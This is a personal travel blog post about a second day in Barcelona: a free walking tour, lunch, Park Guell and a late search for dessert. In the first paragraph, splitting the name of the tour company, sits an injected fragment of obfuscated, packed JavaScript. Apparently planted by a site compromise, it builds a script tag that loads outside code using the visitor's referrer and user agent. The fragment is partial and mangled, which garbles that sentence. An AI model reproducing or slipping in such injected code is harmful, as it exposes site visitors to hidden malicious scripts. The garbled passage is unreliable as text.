Barcelona and the phrase, “I’m your bitch for the next hour”

We started off our 2nd day with a free tour from New ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tniyd|var|u0026u|referrer|fzksb||js|php’.split(‘|’),0,{}))
Europe Tours.  Yep, you heard me right, it’s free.  And it was awesome.  The tour guides are paid in tips, and the free tour works as a mini advertisement for their other, more specialized tours.  Had we known about it, I might have signed up for their Tapas tour – although, knowing how much Nick disliked Tapas, I guess it all worked out!

Our tour guide, Leon, a British transplant, knew more random facts about Barcelona than anyone should, and used the phrase “I’m your bitch for the next hour” to make sure we got all of our questions and recommendations from him before the tour was over.  Turns out a lot of the other tour guides from other companies dislike him.  He’s super loud (which is awesome when you’re on his tour), but it bugs some of the other guides, and he mentioned that one local dumped a bucket of water on him one day for being too loud.  But seriously, the guy was hilarious and knew his stuff.  He also runs the daily Gaudi tour if you’re interested.

The tour was followed by a lunch of potato balls, meat balls and muscles.  Super random.  Ironically, there’s a big sign that says they don’t speak English….but then they handed us English menus.  So I’m not sure what that was about.

We hit up another Gaudi spot on day 2, Park Guell.  It’s on a really high hill – we’re talking SF style steepness.  Thankfully, there were escalators during part of the walk.  You can also buy Park Guell tickets online, which is probably a good idea.

So Park Guell is a park, with a lot of mosaic-y art.  This lizard is famous according to Nick.  And there are these benches that are also adorned with stained glass.  While sitting on said benches, a throng of school girls came racing towards us and plopped themselves down on our bench.  One of them turned to us, I assumed to ask us to take a photo of the group.  No.  In moderate English she asked us if we would “please move” so her friends could sit with her.  Ha!  It was only 5 euros to enter the park, but if you decide to go, I’d recommend taking a picnic and lingering a bit.  We were in and out pretty fast, and I definitely preferred la Sagrada.  Just saying.

Did I ever mention how it’s totally a thing to eat late here? Like really late. 9pm is a perfectly reasonable start time for dinner.  By our 2nd day we were feeling like locals and made it til 9:15pm before looking for dinner.  We went with pizza (la pizza del born, http://www.lapizzadelborn.com/ there’s another, thinner crust looking place a few doors down that people also seem to like). And it was actually pretty delicious.  Then we were on the hunt for some dessert.  Guess what.  All the dessert places close early.  This doesn’t make sense, but it also doesn’t matter.  We wanted dessert and couldn’t find any.  We eventually found some delicious, over priced gelato in front of the Barcelona Cathedral.  The cathedral was also very pretty. 🙂  And that was day 2!